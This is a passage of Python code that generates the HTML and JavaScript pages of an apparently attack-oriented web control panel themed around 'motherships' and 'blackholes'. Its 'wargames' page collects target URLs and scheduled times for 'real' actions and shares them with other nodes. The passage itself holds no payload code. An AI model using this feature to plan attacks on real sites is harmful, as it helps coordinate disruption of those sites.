  1613. <td><a href="javascript:alert('Vnïjwvödvnh says: """ + self.ranking + """... Are you searching for some real action?. Well, this is your place...');"><img src='data:image/png;base64,"""+self.alien8_img+"""'></a></td>
  1614. <td>
  1615. <pre>This feature will allow you to propose/join some real 'wargames'.
  1616. <hr>
  1617. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source' id='wargames_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'wargames' proposed by other motherships..." onclick="SyncWargames()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="wargames_deckey" id="wargames_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_wargames();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>Your proposal:</td><td><input type="text" name="wargames_target" id="wargames_target" size="30" placeholder="http(s)://" required pattern="https?://.+"></td></tr><tr><td>Date time (UTC):</td><td><input type="text" name="wargames_estimated" id="wargames_estimated" size="20" placeholder="dd-mm-yyyy hh:mm:ss" required pattern=".+-.+-.+ .+:.+:.+"> (ex: """+str(now)+""")</td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source2' id='wargames_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="wargames_enckey" id="wargames_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your proposal to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table>
  1618. <hr><br>
  1619. <u>WARGAMES</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+wargames_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1620. def generate_links(self):
  1621. with open(self.links_file) as f:
  1622. for line in f:
  1623. line = line.strip()
  1624. f.close()
  1625. links_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TOPIC:</u></td><td align='center'><u>URL:</u></td></tr>"
  1626. for m in self.list_links: # list = creation, topic, url
  1627. if links_msg_sep in m:
  1628. m = m.split(links_msg_sep)
  1629. link_creation = m[0][0:12] # creation date
  1630. link_creation = ''.join(random.sample(link_creation,len(link_creation))) # creation date (obfuscation)
  1631. link_topic = m[1][0:12] # topic
  1632. link_topic = ''.join(random.sample(link_topic,len(link_topic))) # topic (obfuscation)
  1633. link_url = m[2][0:12] # url
  1634. link_url = ''.join(random.sample(link_url,len(link_url))) # link url (obfuscation)
  1635. links_table += "<tr><td align='center'>"+str(link_creation)+"</td><td align='center'>"+str(link_topic)+"</td><td align='center'>"+str(link_url)+"</td></tr>"
  1636. links_table += "</table>"
  1637. mother_link = "<div id='links_panel_enc' style='display:block'>"
  1638. links_table = mother_link + links_table + "</div>"
  1639. return links_table
  1640. def generate_streams(self):
  1641. with open(self.streams_file) as f:
  1642. for line in f:
  1643. line = line.strip()
  1644. f.close()
  1645. streams_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TOPIC:</u></td><td align='center'><u>STREAM:</u></td></tr>"
  1646. for m in self.list_streams: # list = creation, topic, stream
  1647. if streams_msg_sep in m:
  1648. m = m.split(streams_msg_sep)
  1649. stream_creation = m[0][0:12] # creation date
  1650. strean_creation = ''.join(random.sample(stream_creation,len(stream_creation))) # creation date (obfuscation)
  1651. stream_topic = m[1][0:12] # topic
  1652. stream_topic = ''.join(random.sample(stream_topic,len(stream_topic))) # topic (obfuscation)
  1653. stream_url = m[2][0:12] # url
  1654. stream_url = ''.join(random.sample(stream_url,len(stream_url))) # stream url (obfuscation)
  1655. streams_table += "<tr><td align='center'>"+str(stream_creation)+"</td><td align='center'>"+str(stream_topic)+"</td><td align='center'>"+str(stream_url)+"</td></tr>"
  1656. streams_table += "</table>"
  1657. mother_stream = "<div id='streams_panel_enc' style='display:block'>"
  1658. streams_table = mother_stream + streams_table + "</div>"
  1659. return streams_table
  1660. def generate_games(self):
  1661. games_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NAME:</u></td><td align='center'><u>DESCRIPTION:</u></td><td><u>ACTION:</u></td></tr>"
  1662. with open(self.games_file) as f:
  1663. for line in f:
  1664. line = line.strip()
  1665. if games_msg_sep in line:
  1666. line = line.split(games_msg_sep)
  1667. game_name = line[0] # name
  1668. game_description = line[1] # description
  1669. games_table += "<tr><td align='center'><a onClick='javascript:PlayGame()'>"+str(game_name)+"</a></td><td align='center'>"+str(game_description)+"</td><td align='center'><button id='play_game' onclick='PlayGame();return false;'>PLAY!</button></td></tr>"
  1670. games_table += "</table>"
  1671. f.close()
  1672. mother_games = "<div id='games_panel_enc' style='display:block'>"
  1673. games_table = mother_games + games_table + "</div>"
  1674. return games_table
  1675. def generate_browser(self):
  1676. browser_table = "<iframe width='90%' height='600px' src='"+browser_init_page+"'></frame>"
  1677. return browser_table
  1678. def generate_globalnet(self):
  1679. with open(self.globalnet_file) as f:
  1680. for line in f:
  1681. line = line.strip()
  1682. f.close()
  1683. globalnet_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>OWNER:</u></td><td align='center'><u>COMMENT:</u></td><td align='center'><u>WARPING:</u></td></tr>"
  1684. for m in self.list_globalnet: # list = owner, comment, warping, ip
  1685. if globalnet_msg_sep in m:
  1686. m = m.split(globalnet_msg_sep)
  1687. globalnet_owner = m[0][0:12] # owner
  1688. globalnet_owner = ''.join(random.sample(globalnet_owner,len(globalnet_owner))) # owner (obfuscation)
  1689. globalnet_comment = m[1][0:32] # comment
  1690. globalnet_comment = ''.join(random.sample(globalnet_comment,len(globalnet_comment))) # globalnet (obfuscation)
  1691. globalnet_warp = m[2][0:12] # warp
  1692. globalnet_warp = ''.join(random.sample(globalnet_warp,len(globalnet_warp))) # warp (obfuscation)
  1693. globalnet_table += "<tr><td align='center'>"+str(globalnet_owner)+"</td><td align='center'>"+str(globalnet_comment)+"</td><td align='center'>"+str(globalnet_warp)+"</td></tr>"
  1694. globalnet_table += "</table>"
  1695. mother_globalnet = "<div id='globalnet_panel_enc' style='display:block'>"
  1696. globalnet_table = mother_globalnet + globalnet_table + "</div>"
  1697. return globalnet_table
  1698. def html_links(self):
  1699. l = time.ctime(os.path.getmtime(self.links_file)) # get last modified time
  1700. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1701. links_table = self.generate_links()
  1702. return self.pages["/header"] + """<script language="javascript">
  1703. function Decrypt_links(){
  1704. link_deckey=document.getElementById("link_deckey").value
  1705. if(link_deckey == "") {
  1706. window.alert("You need to enter a valid key (provided by someone)");
  1707. return
  1708. }else{
  1709. params="link_deckey="+escape(link_deckey)
  1710. runCommandX("cmd_decrypt_links",params)
  1711. panel_enc = document.getElementById("links_panel_enc").style.display
  1712. if(panel_enc == "block"){
  1713. panel_enc = document.getElementById("links_panel_enc").style.display = 'none';
  1714. }
  1715. }
  1716. }
  1717. function Ranking() {
  1718. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1719. }
  1720. function Grid() {
  1721. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1722. }
  1723. function Board() {
  1724. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1725. }
  1726. function Stats() {
  1727. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1728. }
  1729. function Streams() {
  1730. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1731. }
  1732. function SyncLinks(){
  1733. link_source=document.getElementById("link_source").value
  1734. if(link_source == "") {
  1735. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1736. return
  1737. }else{
  1738. params="link_source="+escape(link_source)
  1739. runCommandX("cmd_sync_links",params)
  1740. setTimeout("location.reload()", 10000)
  1741. }
  1742. }
  1743. function LinkFilter(filter, key) {
  1744. params="filter="+escape(filter)+"&key="+escape(key)
  1745. runCommandX("cmd_link_filter", params)
  1746. setTimeout("Decrypt_links()", 2000)
  1747. }
  1748. function Send() {
  1749. link_source2=document.getElementById("link_source2").value
  1750. link_enckey=document.getElementById("link_enckey").value
  1751. link_topic=document.getElementById("link_topic").value
  1752. link_url=document.getElementById("link_url").value
  1753. if(link_source2 == "") {
  1754. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1755. return
  1756. }else{
  1757. if(link_enckey == "") {
  1758. window.alert("You need to enter a valid key (provided by someone)");
  1759. return
  1760. }else{
  1761. if(link_url == "http://127.0.0.1") {
  1762. window.alert("You need to enter a valid link");
  1763. return
  1764. }else{
  1765. params="link_source2="+escape(link_source2)+"&link_enckey="+escape(link_enckey)+"&link_topic="+escape(link_topic)+"&link_url="+escape(link_url)
  1766. runCommandX("cmd_transfer_link",params)
  1767. setTimeout("location.reload()", 10000)
  1768. }
  1769. }
  1770. }
  1771. }
  1772. </script>
  1773. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1774. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1775. <br>
  1776. <center>
  1777. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1778. <td><a href="javascript:alert('Armada KATRAAZKA says: SSSSssshshhhh! """ + self.ranking + """,... this is our ship-library. You can take and leave links, without any price.');"><img src='data:image/png;base64,"""+self.alien10_img+"""'></a></td>
  1779. <td>DATA/LINKS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit global.streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  1780. </tr></table>
  1781. <hr><br>
  1782. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='link_source' id='link_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'links' proposed by other motherships..." onclick="SyncLinks()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="link_deckey" id="link_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_links();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>TOPIC:</td><td> <select id="link_topic">
  1783. <option value="OFF" selected>OFF - NO-Topic</option>
  1784. <option value="WKP">WKP - Wikipedia + Knowledge</option>
  1785. <option value="NSA">NSA - National Space/Security Agency</option>
  1786. <option value="DPW">DPW - Deep Web / Dark Web</option>
  1787. <option value="HCP">HCP - Hacking / Cracking / Phreaking</option>
  1788. <option value="HAR">HAR - Hardware / Electronics</option>
  1789. <option value="FPR">FPR - Freedom / Privacy / Rights</option>
  1790. <option value="HAR">SEC - Hardering / C.R.Y.P.T.O</option>
  1791. <option value="APT">APT - ArT.Trolling / #PSY-OPS</option>
  1792. <option value="SPM">SPM - Propaganda + SPAM</option>
  1793. <option value="SCI">SCI - SCience + phi</option>
  1794. <option value="UFO">UFO - UFONET</option>
  1795. </select></td></tr><tr><td>Your link:</td><td><input type="text" name="link_url" id="link_url" size="90" placeholder="http(s)://" required pattern="https?://.+"></td>
  1796. </tr><tr><td>Blackhole/IP:</td><td><input type='text' name='link_source2' id='link_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="link_enckey" id="link_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your link to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table><br><br>
  1797. <hr><br>
  1798. <u>DATA.LINKS</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+links_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1799. def html_streams(self):
  1800. l = time.ctime(os.path.getmtime(self.streams_file)) # get last modified time
  1801. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1802. streams_table = self.generate_streams()
  1803. return self.pages["/header"] + """<script language="javascript">
  1804. function Decrypt_streams(){
  1805. stream_deckey=document.getElementById("stream_deckey").value
  1806. if(stream_deckey == "") {
  1807. window.alert("You need to enter a valid key (provided by someone)");
  1808. return
  1809. }else{
  1810. params="stream_deckey="+escape(stream_deckey)
  1811. runCommandX("cmd_decrypt_streams",params)
  1812. panel_enc = document.getElementById("streams_panel_enc").style.display
  1813. if(panel_enc == "block"){
  1814. panel_enc = document.getElementById("streams_panel_enc").style.display = 'none';
  1815. }
  1816. }
  1817. }
  1818. function Ranking() {
  1819. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1820. }
  1821. function Grid() {
  1822. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1823. }
  1824. function Board() {
  1825. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1826. }
  1827. function Stats() {
  1828. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1829. }
  1830. function Links() {
  1831. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1832. }
  1833. function SyncStreams(){
  1834. stream_source=document.getElementById("stream_source").value
  1835. if(stream_source == "") {
  1836. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1837. return
  1838. }else{
  1839. params="stream_source="+escape(stream_source)
  1840. runCommandX("cmd_sync_streams",params)
  1841. setTimeout("location.reload()", 10000)
  1842. }
  1843. }
  1844. function StreamFilter(filter, key) {
  1845. params="filter="+escape(filter)+"&key="+escape(key)
  1846. runCommandX("cmd_stream_filter", params)
  1847. setTimeout("Decrypt_streams()", 2000)
  1848. }
  1849. function Send() {
  1850. stream_source2=document.getElementById("stream_source2").value
  1851. stream_enckey=document.getElementById("stream_enckey").value
  1852. stream_topic=document.getElementById("stream_topic").value
  1853. stream_url=document.getElementById("stream_url").value
  1854. if(stream_source2 == "") {
  1855. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1856. return
  1857. }else{
  1858. if(stream_enckey == "") {
  1859. window.alert("You need to enter a valid key (provided by someone)");
  1860. return
  1861. }else{
  1862. if (stream_url.startsWith("https://www.youtube.com/watch?v=") == false){
  1863. window.alert("You need to enter a valid (only Youtube is supported) URL stream (ex: https://www.youtube.com/watch?v=xxxxxxxxxxx)");
  1864. return
  1865. }else{
  1866. params="stream_source2="+escape(stream_source2)+"&stream_enckey="+escape(stream_enckey)+"&stream_topic="+escape(stream_topic)+"&stream_url="+escape(stream_url)
  1867. runCommandX("cmd_transfer_stream",params)
  1868. setTimeout("location.reload()", 10000)
  1869. }
  1870. }
  1871. }
  1872. }
  1873. function PlayStream(stream_num) {
  1874. var str1 = "play_button_";
  1875. var str2 = stream_num;
  1876. var play_button_id = str1.concat(str2);
  1877. var str3 = "video_";
  1878. var video_play = str3.concat(str2);
  1879. video_id = document.getElementById(play_button_id).value;
  1880. document.getElementById(play_button_id).style.display = 'none';
  1881. document.getElementById(video_play).style.display = 'block';
  1882. document.getElementById(video_play).innerHTML = "<div id='player'></div>";
  1883. var tag = document.createElement('script');
  1884. tag.src = "https://www.youtube.com/iframe_api";
  1885. var firstScriptTag = document.getElementsByTagName('script')[0];
  1886. firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
  1887. }
  1888. var player;
  1889. function onYouTubeIframeAPIReady() {
  1890. player = new YT.Player('player', {
  1891. height: '390',
  1892. width: '640',
  1893. videoId: video_id,
  1894. events: {
  1895. 'onReady': onPlayerReady,
  1896. 'onStateChange': onPlayerStateChange
  1897. }
  1898. });
  1899. }
  1900. function onPlayerReady(event) {
  1901. event.target.playVideo();
  1902. }
  1903. var done = false;
  1904. function onPlayerStateChange(event) {
  1905. if (event.data == YT.PlayerState.PLAYING && !done) {
  1906. done = true;
  1907. }
  1908. if (event.data === 0) {
  1909. document.getElementById(play_button_id).style.display = 'block';
  1910. document.getElementById(video_play).style.display = 'none';
  1911. }
  1912. }
  1913. function stopVideo() {
  1914. player.stopVideo();
  1915. document.getElementById(play_button_id).style.display = 'block';
  1916. document.getElementById(video_play).style.display = 'none';
  1917. }
  1918. </script>
  1919. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1920. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1921. <br>
  1922. <center>
  1923. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1924. <td><a href="javascript:alert('Dr. UHÑÄAUFKATRAAZKA says: Hello! """ + self.ranking + """,... these are the current (audio/video/live) streams available. Enjoy!');"><img src='data:image/png;base64,"""+self.alien9_img+"""'></a></td>
  1925. <td>STREAMS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit ship.links..." onclick="Links()">VISIT LINKS!</button></td>
  1926. </tr></table>
  1927. <hr><br>
  1928. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='stream_source' id='stream_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'streams' proposed by other motherships..." onclick="SyncStreams()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="stream_deckey" id="stream_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_streams();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>TOPIC:</td><td> <select id="stream_topic">
  1929. <option value="OFF" selected>OFF - NO-Topic</option>
  1930. <option value="WKP">WKP - Wikipedia + Knowledge</option>
  1931. <option value="NSA">NSA - National Space/Security Agency</option>
  1932. <option value="DPW">DPW - Deep Web / Dark Web</option>
  1933. <option value="HCP">HCP - Hacking / Cracking / Phreaking</option>
  1934. <option value="HAR">HAR - Hardware / Electronics</option>
  1935. <option value="FPR">FPR - Freedom / Privacy / Rights</option>
  1936. <option value="HAR">SEC - Hardering / C.R.Y.P.T.O</option>
  1937. <option value="APT">APT - ArT.Trolling / #PSY-OPS</option>
  1938. <option value="SPM">SPM - Propaganda + SPAM</option>
  1939. <option value="SCI">SCI - SCience + phi</option>
  1940. <option value="UFO">UFO - UFONET</option>
  1941. </select></td></tr><tr><td>Your (url) stream:</td><td><input type="text" name="stream_url" id="stream_url" size="90" placeholder="http(s)://" required pattern="https?://.+"></td>
  1942. </tr><tr><td>Blackhole/IP:</td><td><input type='text' name='stream_source2' id='stream_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="stream_enckey" id="stream_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your stream to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table><br><br>
  1943. <hr><br>
  1944. <u>VIDEO.STREAMS</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+streams_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1945. def html_games(self):
  1946. games_table = self.generate_games()
  1947. return self.pages["/header"] + """<script language="javascript">
  1948. function Ranking() {
  1949. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1950. }
  1951. function Wargames() {
  1952. var win_wargames = window.open("wargames","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1953. }
  1954. function Grid() {
  1955. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1956. }
  1957. function Board() {
  1958. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1959. }
  1960. function Stats() {
  1961. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1962. }
  1963. function PlayGame() {
  1964. var win_game = window.open("spaceinvaders","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1965. }
  1966. </script>
  1967. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1968. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1969. <br>
  1970. <center>
  1971. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  1972. <td><a href="javascript:alert('Barrier UJJJHGYTYGASOO-IV says: HI slave!... I mean ... worker!... I mean, """ + self.ranking + """,... Do you wanna play some games?!');"><img src='data:image/png;base64,"""+self.alien12_img+"""'></a></td>
  1973. <td>GAMES device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship stats..." onclick="Stats()">VISIT STATS!</button> <button title="Visit current ship.Wargames..." onclick="Wargames()">VISIT WARGAMES!</button></td>
  1974. </tr></table>
  1975. <hr><br>
  1976. <u>SHIP.GAMES</u>: <br><br>"""+games_table+"""<br><br>"""+ self.pages["/footer"]
  1977. def html_spaceinvaders(self):
  1978. return self.pages["/header"] + """<script language="javascript"></script>
  1979. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1980. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1981. <br><center>
  1982. <hr><br>
  1983. <div id="gamecontainer">
  1984. <canvas id="gameCanvas"></canvas>
  1985. </div>
  1986. <div id="info">
  1987. <p>Move with arrow keys or swipe, fire with the space bar or touch. The invaders get faster and drop
  1988. more bombs as you complete each level!</p>
  1989. </div></script><script src="js/spaceinvaders.js"></script><script>
  1990. var canvas = document.getElementById("gameCanvas");
  1991. canvas.width = 800;
  1992. canvas.height = 600;
  1993. var game = new Game();
  1994. game.initialise(canvas);
  1995. game.start();
  1996. window.addEventListener("keydown", function keydown(e) {
  1997. var keycode = e.which || window.event.keycode;
  1998. // Supress further processing of left/right/space (37/29/32)
  1999. if(keycode == 37 || keycode == 39 || keycode == 32) {
  2000. e.preventDefault();
  2001. }
  2002. game.keyDown(keycode);
  2003. });
  2004. window.addEventListener("keyup", function keydown(e) {
  2005. var keycode = e.which || window.event.keycode;
  2006. game.keyUp(keycode);
  2007. });
  2008. window.addEventListener("touchstart", function (e) {
  2009. game.touchstart(e);
  2010. }, false);
  2011. window.addEventListener('touchend', function(e){
  2012. game.touchend(e);
  2013. }, false);
  2014. window.addEventListener('touchmove', function(e){
  2015. game.touchmove(e);
  2016. }, false);
  2017. function toggleMute() {
  2018. game.mute();
  2019. document.getElementById("muteLink").innerText = game.sounds.mute ? "unmute" : "mute";
  2020. }
  2021. </script><br><br>"""+ self.pages["/footer"]
  2022. def html_browser(self):
  2023. browser_table = self.generate_browser()
  2024. return self.pages["/header"] + """<script language="javascript">
  2025. function Ranking() {
  2026. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2027. }
  2028. function Grid() {
  2029. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2030. }
  2031. function Board() {
  2032. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2033. }
  2034. function Links() {
  2035. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2036. }
  2037. function Streams() {
  2038. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2039. }
  2040. </script>
  2041. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2042. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2043. <br>
  2044. <center>
  2045. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  2046. <td><a href="javascript:alert('Rockoide GRAAANJJÄEEEB says: HI organic living structure..., """ + self.ranking + """,... You can navigate/surf the Net from here...');"><img src='data:image/png;base64,"""+self.alien13_img+"""'></a></td>
  2047. <td>BROWSER device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit ship.Links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit current ship.Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  2048. </tr></table>
  2049. <hr><br>"""+browser_table+"""<br><br>"""+ self.pages["/footer"]
  2050. def html_globalnet(self):
  2051. l = time.ctime(os.path.getmtime(self.links_file)) # get last modified time
  2052. globalnet_table = self.generate_globalnet()
  2053. return self.pages["/header"] + """<script language="javascript">
  2054. function Ranking() {
  2055. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2056. }
  2057. function Grid() {
  2058. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2059. }
  2060. function Board() {
  2061. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2062. }
  2063. function Warps() {
  2064. var win_blackholes = window.open("blackholes","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2065. }
  2066. function SyncGlobalnet(){
  2067. globalnet_source=document.getElementById("globalnet_source").value
  2068. if(globalnet_source == "") {
  2069. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2070. return
  2071. }else{
  2072. params="globalnet_source="+escape(globalnet_source)
  2073. runCommandX("cmd_sync_globalnet",params)
  2074. setTimeout("location.reload()", 10000)
  2075. }
  2076. }
  2077. function Decrypt_globalnet(){
  2078. globalnet_deckey=document.getElementById("globalnet_deckey").value
  2079. if(globalnet_deckey == "") {
  2080. window.alert("You need to enter a valid key (provided by someone)");
  2081. return
  2082. }else{
  2083. params="globalnet_deckey="+escape(globalnet_deckey)
  2084. runCommandX("cmd_decrypt_globalnet",params)
  2085. panel_enc = document.getElementById("globalnet_panel_enc").style.display
  2086. if(panel_enc == "block"){
  2087. panel_enc = document.getElementById("globalnet_panel_enc").style.display = 'none';
  2088. }
  2089. }
  2090. }
  2091. function GlobalnetFilter(filter, key) {
  2092. params="filter="+escape(filter)+"&key="+escape(key)
  2093. runCommandX("cmd_globalnet_filter", params)
  2094. setTimeout("Decrypt_globalnet()", 2000)
  2095. }
  2096. function Send() {
  2097. globalnet_source2=document.getElementById("globalnet_source2").value
  2098. globalnet_enckey=document.getElementById("globalnet_enckey").value
  2099. globalnet_owner=document.getElementById("globalnet_owner").value
  2100. globalnet_comment=document.getElementById("globalnet_comment").value
  2101. globalnet_warp=document.getElementById("globalnet_warp").value
  2102. if(globalnet_source2 == "") {
  2103. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2104. return
  2105. }else{
  2106. if(globalnet_enckey == "") {
  2107. window.alert("You need to enter a valid key (provided by someone)");
  2108. return
  2109. }else{
